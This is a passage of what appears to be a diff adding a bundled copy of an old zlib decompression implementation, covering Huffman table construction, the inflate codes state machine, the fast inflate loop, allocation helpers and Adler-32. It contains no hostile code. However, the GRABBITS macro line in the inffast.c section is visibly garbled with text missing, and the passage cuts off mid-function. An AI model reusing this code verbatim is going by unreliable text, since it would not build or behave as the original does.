subsidiary tables for + the longer codes. The time it costs to decode the longer codes is + then traded against the time it takes to make longer tables. + + This results of this trade are in the variables lbits and dbits + below. lbits is the number of bits the first level table for literal/ + length codes can decode in one step, and dbits is the same thing for + the distance codes. Subsequent tables are also less than or equal to + those sizes. These values may be adjusted either when all of the + codes are shorter than that, in which case the longest code length in + bits is used, or when the shortest code is *longer* than the requested + table size, in which case the length of the shortest code in bits is + used. + + There are two different values for the two tables, since they code a + different number of possibilities each. The literal/length table + codes 286 possible values, or in a flat code, a little over eight + bits. The distance table codes 30 possible values, or a little less + than five bits, flat. The optimum values for speed end up being + about one bit more than those, so lbits is 8+1 and dbits is 5+1. + The optimum values may differ though from machine to machine, and + possibly even between compilers. Your mileage may vary. + */ + + +/* If BMAX needs to be larger than 16, then h and x[] should be uLong. */ +#define BMAX 15 /* maximum bit length of any code */ +#define N_MAX 288 /* maximum number of codes in any set */ + +#ifdef DEBUG_ZLIB + uInt inflate_hufts; +#endif + +local int huft_build( +uIntf *b, /* code lengths in bits (all assumed <= BMAX) */ +uInt n, /* number of codes (assumed <= N_MAX) */ +uInt s, /* number of simple-valued codes (0..s-1) */ +const uIntf *d, /* list of base values for non-simple codes */ +const uIntf *e, /* list of extra bits for non-simple codes */ +inflate_huft * FAR *t, /* result: starting table */ +uIntf *m, /* maximum lookup bits, returns actual */ +z_streamp zs /* for zalloc function */ +) +/* Given a list of code lengths and a maximum table size, make a set of + tables to decode that set of codes. Return Z_OK on success, Z_BUF_ERROR + if the given code set is incomplete (the tables are still built in this + case), Z_DATA_ERROR if the input is invalid (an over-subscribed set of + lengths), or Z_MEM_ERROR if not enough memory. */ +{ + + uInt a; /* counter for codes of length k */ + uInt c[BMAX+1]; /* bit length count table */ + uInt f; /* i repeats in table every f entries */ + int g; /* maximum code length */ + int h; /* table level */ + register uInt i; /* counter, current code */ + register uInt j; /* counter */ + register int k; /* number of bits in current code */ + int l; /* bits per table (returned in m) */ + register uIntf *p; /* pointer into c[], b[], or v[] */ + inflate_huft *q; /* points to current table */ + struct inflate_huft_s r; /* table entry for structure assignment */ + inflate_huft *u[BMAX]; /* table stack */ + uInt v[N_MAX]; /* values in order of bit length */ + register int w; /* bits before this table == (l * h) */ + uInt x[BMAX+1]; /* bit offsets, then code stack */ + uIntf *xp; /* pointer into x */ + int y; /* number of dummy codes added */ + uInt z; /* number of entries in current table */ + + + /* Generate counts for each bit length */ + p = c; +#define C0 *p++ = 0; +#define C2 C0 C0 C0 C0 +#define C4 C2 C2 C2 C2 + C4 /* clear c[]--assume BMAX+1 is 16 */ + p = b; i = n; + do { + c[*p++]++; /* assume all entries <= BMAX */ + } while (--i); + if (c[0] == n) /* null input--all zero length codes */ + { + *t = (inflate_huft *)Z_NULL; + *m = 0; + return Z_OK; + } + + + /* Find minimum and maximum length, bound *m by those */ + l = *m; + for (j = 1; j <= BMAX; j++) + if (c[j]) + break; + k = j; /* minimum code length */ + if ((uInt)l < j) + l = j; + for (i = BMAX; i; i--) + if (c[i]) + break; + g = i; /* maximum code length */ + if ((uInt)l > i) + l = i; + *m = l; + + + /* Adjust last length count to fill out codes, if needed */ + for (y = 1 << j; j < i; j++, y <<= 1) + if ((y -= c[j]) < 0) + return Z_DATA_ERROR; + if ((y -= c[i]) < 0) + return Z_DATA_ERROR; + c[i] += y; + + + /* Generate starting offsets into the value table for each length */ + x[1] = j = 0; + p = c + 1; xp = x + 2; + while (--i) { /* note that i == g from above */ + *xp++ = (j += *p++); + } + + + /* Make a table of values in order of bit lengths */ + p = b; i = 0; + do { + if ((j = *p++) != 0) + v[x[j]++] = i; + } while (++i < n); + n = x[g]; /* set n to length of v */ + + + /* Generate the Huffman codes and for each, make the table entries */ + x[0] = i = 0; /* first Huffman code is zero */ + p = v; /* grab values in bit order */ + h = -1; /* no tables yet--level -1 */ + w = -l; /* bits decoded == (l * h) */ + u[0] = (inflate_huft *)Z_NULL; /* just to keep compilers happy */ + q = (inflate_huft *)Z_NULL; /* ditto */ + z = 0; /* ditto */ + + /* go through the bit lengths (k already is bits in shortest code) */ + for (; k <= g; k++) + { + a = c[k]; + while (a--) + { + /* here i is the Huffman code of length k bits for value *p */ + /* make tables up to required level */ + while (k > w + l) + { + h++; + w += l; /* previous table always l bits */ + + /* compute minimum size table less than or equal to l bits */ + z = g - w; + z = z > (uInt)l ? l : z; /* table size upper limit */ + if ((f = 1 << (j = k - w)) > a + 1) /* try a k-w bit table */ + { /* too few codes for k-w bit table */ + f -= a + 1; /* deduct codes from patterns left */ + xp = c + k; + if (j < z) + while (++j < z) /* try smaller tables up to z bits */ + { + if ((f <<= 1) <= *++xp) + break; /* enough codes to use up j bits */ + f -= *xp; /* else deduct codes from patterns */ + } + } + z = 1 << j; /* table entries for j-bit table */ + + /* allocate and link in new table */ + if ((q = (inflate_huft *)ZALLOC + (zs,z + 1,sizeof(inflate_huft))) == Z_NULL) + { + if (h) + inflate_trees_free(u[0], zs); + return Z_MEM_ERROR; /* not enough memory */ + } +#ifdef DEBUG_ZLIB + inflate_hufts += z + 1; +#endif + *t = q + 1; /* link to list for huft_free() */ + *(t = &(q->next)) = Z_NULL; + u[h] = ++q; /* table starts after link */ + + /* connect to last table, if there is one */ + if (h) + { + x[h] = i; /* save pattern for backing up */ + r.bits = (Byte)l; /* bits to dump before this table */ + r.exop = (Byte)j; /* bits in this table */ + r.next = q; /* pointer to this table */ + j = i >> (w - l); /* (get around Turbo C bug) */ + u[h-1][j] = r; /* connect to last table */ + } + } + + /* set up table entry in r */ + r.bits = (Byte)(k - w); + if (p >= v + n) + r.exop = 128 + 64; /* out of values--invalid code */ + else if (*p < s) + { + r.exop = (Byte)(*p < 256 ? 0 : 32 + 64); /* 256 is end-of-block */ + r.base = *p++; /* simple code is just the value */ + } + else + { + r.exop = (Byte)(e[*p - s] + 16 + 64);/* non-simple--look up in lists */ + r.base = d[*p++ - s]; + } + + /* fill code-like entries with r */ + f = 1 << (k - w); + for (j = i >> w; j < z; j += f) + q[j] = r; + + /* backwards increment the k-bit code i */ + for (j = 1 << (k - 1); i & j; j >>= 1) + i ^= j; + i ^= j; + + /* backup over finished tables */ + while ((i & ((1 << w) - 1)) != x[h]) + { + h--; /* don't need to update q */ + w -= l; + } + } + } + + + /* Return Z_BUF_ERROR if we were given an incomplete table */ + return y != 0 && g != 1 ? Z_BUF_ERROR : Z_OK; +} + + +int inflate_trees_bits( +uIntf *c, /* 19 code lengths */ +uIntf *bb, /* bits tree desired/actual depth */ +inflate_huft * FAR *tb, /* bits tree result */ +z_streamp z /* for zfree function */ +) +{ + int r; + + r = huft_build(c, 19, 19, (uIntf*)Z_NULL, (uIntf*)Z_NULL, tb, bb, z); + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed dynamic bit lengths tree"; + else if (r == Z_BUF_ERROR || *bb == 0) + { + inflate_trees_free(*tb, z); + z->msg = (char*)"incomplete dynamic bit lengths tree"; + r = Z_DATA_ERROR; + } + return r; +} + + +int inflate_trees_dynamic( +uInt nl, /* number of literal/length codes */ +uInt nd, /* number of distance codes */ +uIntf *c, /* that many (total) code lengths */ +uIntf *bl, /* literal desired/actual bit depth */ +uIntf *bd, /* distance desired/actual bit depth */ +inflate_huft * FAR *tl, /* literal/length tree result */ +inflate_huft * FAR *td, /* distance tree result */ +z_streamp z /* for zfree function */ +) +{ + int r; + + /* build literal/length tree */ + r = huft_build(c, nl, 257, cplens, cplext, tl, bl, z); + if (r != Z_OK || *bl == 0) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed literal/length tree"; + else if (r != Z_MEM_ERROR) + { + inflate_trees_free(*tl, z); + z->msg = (char*)"incomplete literal/length tree"; + r = Z_DATA_ERROR; + } + return r; + } + + /* build distance tree */ + r = huft_build(c + nl, nd, 0, cpdist, cpdext, td, bd, z); + if (r != Z_OK || (*bd == 0 && nl > 257)) + { + if (r == Z_DATA_ERROR) + z->msg = (char*)"oversubscribed distance tree"; + else if (r == Z_BUF_ERROR) { +#ifdef PKZIP_BUG_WORKAROUND + r = Z_OK; + } +#else + inflate_trees_free(*td, z); + z->msg = (char*)"incomplete distance tree"; + r = Z_DATA_ERROR; + } + else if (r != Z_MEM_ERROR) + { + z->msg = (char*)"empty distance tree with lengths"; + r = Z_DATA_ERROR; + } + inflate_trees_free(*tl, z); + return r; +#endif + } + + /* done */ + return Z_OK; +} + + +/* build fixed tables only once--keep them here */ +local int fixed_built = 0; +#define FIXEDH 530 /* number of hufts used by fixed tables */ +local inflate_huft fixed_mem[FIXEDH]; +local uInt fixed_bl; +local uInt fixed_bd; +local inflate_huft *fixed_tl; +local inflate_huft *fixed_td; + + +local voidpf falloc( +voidpf q, /* opaque pointer */ +uInt n, /* number of items */ +uInt s /* size of item */ +) +{ + Assert(s == sizeof(inflate_huft) && n <= *(intf *)q, + "inflate_trees falloc overflow"); + *(intf *)q -= n+s-s; /* s-s to avoid warning */ + return (voidpf)(fixed_mem + *(intf *)q); +} + + +int inflate_trees_fixed( +uIntf *bl, /* literal desired/actual bit depth */ +uIntf *bd, /* distance desired/actual bit depth */ +inflate_huft * FAR *tl, /* literal/length tree result */ +inflate_huft * FAR *td /* distance tree result */ +) +{ + /* build fixed tables if not already (multiple overlapped executions ok) */ + if (!fixed_built) + { + int k; /* temporary variable */ + unsigned c[288]; /* length list for huft_build */ + z_stream z; /* for falloc function */ + int f = FIXEDH; /* number of hufts left in fixed_mem */ + + /* set up fake z_stream for memory routines */ + z.zalloc = falloc; + z.zfree = Z_NULL; + z.opaque = (voidpf)&f; + + /* literal table */ + for (k = 0; k < 144; k++) + c[k] = 8; + for (; k < 256; k++) + c[k] = 9; + for (; k < 280; k++) + c[k] = 7; + for (; k < 288; k++) + c[k] = 8; + fixed_bl = 7; + huft_build(c, 288, 257, cplens, cplext, &fixed_tl, &fixed_bl, &z); + + /* distance table */ + for (k = 0; k < 30; k++) + c[k] = 5; + fixed_bd = 5; + huft_build(c, 30, 0, cpdist, cpdext, &fixed_td, &fixed_bd, &z); + + /* done */ + Assert(f == 0, "invalid build of fixed tables"); + fixed_built = 1; + } + *bl = fixed_bl; + *bd = fixed_bd; + *tl = fixed_tl; + *td = fixed_td; + return Z_OK; +} + + +int inflate_trees_free( +inflate_huft *t, /* table to free */ +z_streamp z /* for zfree function */ +) +/* Free the malloc'ed tables built by huft_build(), which makes a linked + list of the tables it made, with the links in a dummy first entry of + each table. */ +{ + register inflate_huft *p, *q, *r; + + /* Reverse linked list */ + p = Z_NULL; + q = t; + while (q != Z_NULL) + { + r = (q - 1)->next; + (q - 1)->next = p; + p = q; + q = r; + } + /* Go through linked list, freeing from the malloced (t[-1]) address. */ + while (p != Z_NULL) + { + q = (--p)->next; + ZFREE(z,p); + p = q; + } + return Z_OK; +} +/* --- inftrees.c */ + +/* +++ infcodes.c */ +/* infcodes.c -- process literals and length/distance pairs + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ +/* #include "infblock.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ + +/* +++ inffast.h */ +/* inffast.h -- header to use inffast.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +extern int inflate_fast OF(( + uInt, + uInt, + inflate_huft *, + inflate_huft *, + inflate_blocks_statef *, + z_streamp )); +/* --- inffast.h */ + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + +/* inflate codes private state */ +struct inflate_codes_state { + + /* mode */ + enum { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + START, /* x: set up for LEN */ + LEN, /* i: get length/literal/eob next */ + LENEXT, /* i: getting length extra (have base) */ + DIST, /* i: get distance next */ + DISTEXT, /* i: getting distance extra */ + COPY, /* o: copying bytes in window, waiting for space */ + LIT, /* o: got literal, waiting for output space */ + WASH, /* o: got eob, possibly still output waiting */ + END, /* x: got eob and all data flushed */ + BADCODE} /* x: got error */ + mode; /* current inflate_codes mode */ + + /* mode dependent information */ + uInt len; + union { + struct { + inflate_huft *tree; /* pointer into tree */ + uInt need; /* bits needed */ + } code; /* if LEN or DIST, where in tree */ + uInt lit; /* if LIT, literal */ + struct { + uInt get; /* bits to get for extra */ + uInt dist; /* distance back to copy from */ + } copy; /* if EXT or COPY, where and how much */ + } sub; /* submode */ + + /* mode independent information */ + Byte lbits; /* ltree bits decoded per branch */ + Byte dbits; /* dtree bits decoder per branch */ + inflate_huft *ltree; /* literal/length/eob tree */ + inflate_huft *dtree; /* distance tree */ + +}; + + +inflate_codes_statef *inflate_codes_new( +uInt bl, +uInt bd, +inflate_huft *tl, +inflate_huft *td, /* need separate declaration for Borland C++ */ +z_streamp z +) +{ + inflate_codes_statef *c; + + if ((c = (inflate_codes_statef *) + ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL) + { + c->mode = START; + c->lbits = (Byte)bl; + c->dbits = (Byte)bd; + c->ltree = tl; + c->dtree = td; + Tracev((stderr, "inflate: codes new\n")); + } + return c; +} + + +int inflate_codes(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt j; /* temporary storage */ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + Bytef *f; /* pointer to copy strings from */ + inflate_codes_statef *c = s->sub.decode.codes; /* codes state */ + + /* copy input/output information to locals (UPDATE macro restores) */ + LOAD + + /* process input and output based on current state */ + while (1) switch (c->mode) + { /* waiting for "i:"=input, "o:"=output, "x:"=nothing */ + case START: /* x: set up for LEN */ +#ifndef SLOW + if (m >= 258 && n >= 10) + { + UPDATE + r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z); + LOAD + if (r != Z_OK) + { + c->mode = r == Z_STREAM_END ? WASH : BADCODE; + break; + } + } +#endif /* !SLOW */ + c->sub.code.need = c->lbits; + c->sub.code.tree = c->ltree; + c->mode = LEN; + case LEN: /* i: get length/literal/eob next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e == 0) /* literal */ + { + c->sub.lit = t->base; + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: literal '%c'\n" : + "inflate: literal 0x%02x\n", t->base)); + c->mode = LIT; + break; + } + if (e & 16) /* length */ + { + c->sub.copy.get = e & 15; + c->len = t->base; + c->mode = LENEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t->next; + break; + } + if (e & 32) /* end of block */ + { + Tracevv((stderr, "inflate: end of block\n")); + c->mode = WASH; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid literal/length code"; + r = Z_DATA_ERROR; + LEAVE + case LENEXT: /* i: getting length extra (have base) */ + j = c->sub.copy.get; + NEEDBITS(j) + c->len += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + c->sub.code.need = c->dbits; + c->sub.code.tree = c->dtree; + Tracevv((stderr, "inflate: length %u\n", c->len)); + c->mode = DIST; + case DIST: /* i: get distance next */ + j = c->sub.code.need; + NEEDBITS(j) + t = c->sub.code.tree + ((uInt)b & inflate_mask[j]); + DUMPBITS(t->bits) + e = (uInt)(t->exop); + if (e & 16) /* distance */ + { + c->sub.copy.get = e & 15; + c->sub.copy.dist = t->base; + c->mode = DISTEXT; + break; + } + if ((e & 64) == 0) /* next table */ + { + c->sub.code.need = e; + c->sub.code.tree = t->next; + break; + } + c->mode = BADCODE; /* invalid code */ + z->msg = (char*)"invalid distance code"; + r = Z_DATA_ERROR; + LEAVE + case DISTEXT: /* i: getting distance extra */ + j = c->sub.copy.get; + NEEDBITS(j) + c->sub.copy.dist += (uInt)b & inflate_mask[j]; + DUMPBITS(j) + Tracevv((stderr, "inflate: distance %u\n", c->sub.copy.dist)); + c->mode = COPY; + case COPY: /* o: copying bytes in window, waiting for space */ +#ifndef __TURBOC__ /* Turbo C bug for following expression */ + f = (uInt)(q - s->window) < c->sub.copy.dist ? + s->end - (c->sub.copy.dist - (q - s->window)) : + q - c->sub.copy.dist; +#else + f = q - c->sub.copy.dist; + if ((uInt)(q - s->window) < c->sub.copy.dist) + f = s->end - (c->sub.copy.dist - (uInt)(q - s->window)); +#endif + while (c->len) + { + NEEDOUT + OUTBYTE(*f++) + if (f == s->end) + f = s->window; + c->len--; + } + c->mode = START; + break; + case LIT: /* o: got literal, waiting for output space */ + NEEDOUT + OUTBYTE(c->sub.lit) + c->mode = START; + break; + case WASH: /* o: got eob, possibly more output */ + FLUSH + if (s->read != s->write) + LEAVE + c->mode = END; + case END: + r = Z_STREAM_END; + LEAVE + case BADCODE: /* x: got error */ + r = Z_DATA_ERROR; + LEAVE + default: + r = Z_STREAM_ERROR; + LEAVE + } +} + + +void inflate_codes_free(inflate_codes_statef *c, z_streamp z) +{ + ZFREE(z, c); + Tracev((stderr, "inflate: codes free\n")); +} +/* --- infcodes.c */ + +/* +++ infutil.c */ +/* inflate_util.c -- data and routines common to blocks and codes + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "infblock.h" */ +/* #include "inftrees.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* And'ing with mask[n] masks the lower n bits */ +uInt inflate_mask[17] = { + 0x0000, + 0x0001, 0x0003, 0x0007, 0x000f, 0x001f, 0x003f, 0x007f, 0x00ff, + 0x01ff, 0x03ff, 0x07ff, 0x0fff, 0x1fff, 0x3fff, 0x7fff, 0xffff +}; + + +/* copy as much as possible from the sliding window to the output area */ +int inflate_flush(inflate_blocks_statef *s, z_streamp z, int r) +{ + uInt n; + Bytef *p; + Bytef *q; + + /* local copies of source and destination pointers */ + p = z->next_out; + q = s->read; + + /* compute number of bytes to copy as far as end of window */ + n = (uInt)((q <= s->write ? s->write : s->end) - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy as far as end of window */ + if (p != Z_NULL) { + zmemcpy(p, q, n); + p += n; + } + q += n; + + /* see if more to copy at beginning of window */ + if (q == s->end) + { + /* wrap pointers */ + q = s->window; + if (s->write == s->end) + s->write = s->window; + + /* compute bytes to copy */ + n = (uInt)(s->write - q); + if (n > z->avail_out) n = z->avail_out; + if (n && r == Z_BUF_ERROR) r = Z_OK; + + /* update counters */ + z->avail_out -= n; + z->total_out += n; + + /* update check information */ + if (s->checkfn != Z_NULL) + z->adler = s->check = (*s->checkfn)(s->check, q, n); + + /* copy */ + if (p != Z_NULL) { + zmemcpy(p, q, n); + p += n; + } + q += n; + } + + /* update pointers */ + z->next_out = p; + s->read = q; + + /* done */ + return r; +} +/* --- infutil.c */ + +/* +++ inffast.c */ +/* inffast.c -- process literals and length/distance pairs fast + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ +/* #include "inftrees.h" */ +/* #include "infblock.h" */ +/* #include "infcodes.h" */ +/* #include "infutil.h" */ +/* #include "inffast.h" */ + +#ifndef NO_DUMMY_DECL +struct inflate_codes_state {int dummy;}; /* for buggy compilers */ +#endif + +/* simplify the use of the inflate_huft type with some defines */ +#define base more.Base +#define next more.Next +#define exop word.what.Exop +#define bits word.what.Bits + +/* macros for bit input with no checking and for returning unused bytes */ +#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<>3);p-=c;k&=7;} + +/* Called with number of bytes left to write in window at least 258 + (the maximum string length) and number of input bytes available + at least ten. The ten bytes are six bytes for the longest length/ + distance pair plus four bytes for overloading the bit buffer. */ + +int inflate_fast( +uInt bl, +uInt bd, +inflate_huft *tl, +inflate_huft *td, /* need separate declaration for Borland C++ */ +inflate_blocks_statef *s, +z_streamp z +) +{ + inflate_huft *t; /* temporary pointer */ + uInt e; /* extra bits or operation */ + uLong b; /* bit buffer */ + uInt k; /* bits in bit buffer */ + Bytef *p; /* input data pointer */ + uInt n; /* bytes available there */ + Bytef *q; /* output window write pointer */ + uInt m; /* bytes to end of window or read pointer */ + uInt ml; /* mask for literal/length tree */ + uInt md; /* mask for distance tree */ + uInt c; /* bytes to copy */ + uInt d; /* distance back to copy from */ + Bytef *r; /* copy source pointer */ + + /* load input, output, bit values */ + LOAD + + /* initialize masks */ + ml = inflate_mask[bl]; + md = inflate_mask[bd]; + + /* do until not enough input or output space for fast loop */ + do { /* assume called with m >= 258 && n >= 10 */ + /* get literal/length code */ + GRABBITS(20) /* max bits for literal/length code */ + if ((e = (t = tl + ((uInt)b & ml))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + continue; + } + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits for length */ + e &= 15; + c = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * length %u\n", c)); + + /* decode distance base of block to copy */ + GRABBITS(15); /* max bits for distance code */ + e = (t = td + ((uInt)b & md))->exop; + do { + DUMPBITS(t->bits) + if (e & 16) + { + /* get extra bits to add to distance base */ + e &= 15; + GRABBITS(e) /* get extra bits (up to 13) */ + d = t->base + ((uInt)b & inflate_mask[e]); + DUMPBITS(e) + Tracevv((stderr, "inflate: * distance %u\n", d)); + + /* do the copy */ + m -= c; + if ((uInt)(q - s->window) >= d) /* offset before dest */ + { /* just copy */ + r = q - d; + *q++ = *r++; c--; /* minimum count is three, */ + *q++ = *r++; c--; /* so unroll loop a little */ + } + else /* else offset after destination */ + { + e = d - (uInt)(q - s->window); /* bytes from offset to end */ + r = s->end - e; /* pointer to offset */ + if (c > e) /* if source crosses, */ + { + c -= e; /* copy to end of window */ + do { + *q++ = *r++; + } while (--e); + r = s->window; /* copy rest from start of window */ + } + } + do { /* copy all or what's left */ + *q++ = *r++; + } while (--c); + break; + } + else if ((e & 64) == 0) + e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; + else + { + z->msg = (char*)"invalid distance code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + break; + } + if ((e & 64) == 0) + { + if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) + { + DUMPBITS(t->bits) + Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? + "inflate: * literal '%c'\n" : + "inflate: * literal 0x%02x\n", t->base)); + *q++ = (Byte)t->base; + m--; + break; + } + } + else if (e & 32) + { + Tracevv((stderr, "inflate: * end of block\n")); + UNGRAB + UPDATE + return Z_STREAM_END; + } + else + { + z->msg = (char*)"invalid literal/length code"; + UNGRAB + UPDATE + return Z_DATA_ERROR; + } + } while (1); + } while (m >= 258 && n >= 10); + + /* not enough input or output--restore pointers and return */ + UNGRAB + UPDATE + return Z_OK; +} +/* --- inffast.c */ + +/* +++ zutil.c */ +/* zutil.c -- target dependent utility functions for the compression library + * Copyright (C) 1995-1996 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ + +#ifdef DEBUG_ZLIB +#include +#endif + +/* #include "zutil.h" */ + +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + +#ifndef STDC +extern void exit OF((int)); +#endif + +static const char *z_errmsg[10] = { +"need dictionary", /* Z_NEED_DICT 2 */ +"stream end", /* Z_STREAM_END 1 */ +"", /* Z_OK 0 */ +"file error", /* Z_ERRNO (-1) */ +"stream error", /* Z_STREAM_ERROR (-2) */ +"data error", /* Z_DATA_ERROR (-3) */ +"insufficient memory", /* Z_MEM_ERROR (-4) */ +"buffer error", /* Z_BUF_ERROR (-5) */ +"incompatible version",/* Z_VERSION_ERROR (-6) */ +""}; + + +const char *zlibVersion() +{ + return ZLIB_VERSION; +} + +#ifdef DEBUG_ZLIB +void z_error (char *m) +{ + fprintf(stderr, "%s\n", m); + exit(1); +} +#endif + +#ifndef HAVE_MEMCPY + +void zmemcpy(Bytef* dest, Bytef* source, uInt len) +{ + if (len == 0) return; + do { + *dest++ = *source++; /* ??? to be unrolled */ + } while (--len != 0); +} + +int zmemcmp(Bytef* s1, Bytef* s2, uInt len) +{ + uInt j; + + for (j = 0; j < len; j++) { + if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; + } + return 0; +} + +void zmemzero(Bytef* dest, uInt len) +{ + if (len == 0) return; + do { + *dest++ = 0; /* ??? to be unrolled */ + } while (--len != 0); +} +#endif + +#ifdef __TURBOC__ +#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) +/* Small and medium model in Turbo C are for now limited to near allocation + * with reduced MAX_WBITS and MAX_MEM_LEVEL + */ +# define MY_ZCALLOC + +/* Turbo C malloc() does not allow dynamic allocation of 64K bytes + * and farmalloc(64K) returns a pointer with an offset of 8, so we + * must fix the pointer. Warning: the pointer must be put back to its + * original form in order to free it, use zcfree(). + */ + +#define MAX_PTR 10 +/* 10*64K = 640K */ + +local int next_ptr = 0; + +typedef struct ptr_table_s { + voidpf org_ptr; + voidpf new_ptr; +} ptr_table; + +local ptr_table table[MAX_PTR]; +/* This table is used to remember the original form of pointers + * to large buffers (64K). Such pointers are normalized with a zero offset. + * Since MSDOS is not a preemptive multitasking OS, this table is not + * protected from concurrent access. This hack doesn't work anyway on + * a protected system like OS/2. Use Microsoft C instead. + */ + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + voidpf buf = opaque; /* just to make some compilers happy */ + ulg bsize = (ulg)items*size; + + /* If we allocate less than 65520 bytes, we assume that farmalloc + * will return a usable pointer which doesn't have to be normalized. + */ + if (bsize < 65520L) { + buf = farmalloc(bsize); + if (*(ush*)&buf != 0) return buf; + } else { + buf = farmalloc(bsize + 16L); + } + if (buf == NULL || next_ptr >= MAX_PTR) return NULL; + table[next_ptr].org_ptr = buf; + + /* Normalize the pointer to seg:0 */ + *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; + *(ush*)&buf = 0; + table[next_ptr++].new_ptr = buf; + return buf; +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + int n; + if (*(ush*)&ptr != 0) { /* object < 64K */ + farfree(ptr); + return; + } + /* Find the original pointer */ + for (n = 0; n < next_ptr; n++) { + if (ptr != table[n].new_ptr) continue; + + farfree(table[n].org_ptr); + while (++n < next_ptr) { + table[n-1] = table[n]; + } + next_ptr--; + return; + } + ptr = opaque; /* just to make some compilers happy */ + Assert(0, "zcfree: ptr not found"); +} +#endif +#endif /* __TURBOC__ */ + + +#if defined(M_I86) && !defined(__32BIT__) +/* Microsoft C in 16-bit mode */ + +# define MY_ZCALLOC + +#if (!defined(_MSC_VER) || (_MSC_VER < 600)) +# define _halloc halloc +# define _hfree hfree +#endif + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + return _halloc((long)items, size); +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + _hfree(ptr); +} + +#endif /* MSC */ + + +#ifndef MY_ZCALLOC /* Any system without a special alloc function */ + +#ifndef STDC +extern voidp calloc OF((uInt items, uInt size)); +extern void free OF((voidpf ptr)); +#endif + +voidpf zcalloc(voidpf opaque, unsigned items, unsigned size) +{ + if (opaque) items += size - size; /* make compiler happy */ + return (voidpf)calloc(items, size); +} + +void zcfree(voidpf opaque, voidpf ptr) +{ + free(ptr); + if (opaque) return; /* make compiler happy */ +} + +#endif /* MY_ZCALLOC */ +/* --- zutil.c */ + +/* +++ adler32.c */ +/* adler32.c -- compute the Adler-32 checksum of a data stream + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ + +/* #include "zlib.h" */ + +#define BASE 65521L /* largest prime smaller than 65536 */ +#define NMAX 5552 +/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ + +#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} +#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); +#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); +#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); +#define DO16(buf) DO8(buf,0); DO8(buf,8); + +/* ========================================================================= */ +uLong adler32(uLong adler, const Bytef *buf, uInt len) +{ + unsigned long s1 = adler & 0xffff; + unsigned long s2 = (adler >> 16) & 0xffff; + int k; + + if (buf == Z_NULL) return 1L; + + while (len > 0) { + k = len < NMAX ? len : NMAX; + len -= k; + while (k >= 16) { + DO16(buf); + buf += 16; + k -= 16; + } + if (k != 0) do { + s1 += *buf++; + s2 += s1; + } while (--k); + s1 %= BASE; + s2 %= BASE; + } + return (s2 << 16) | 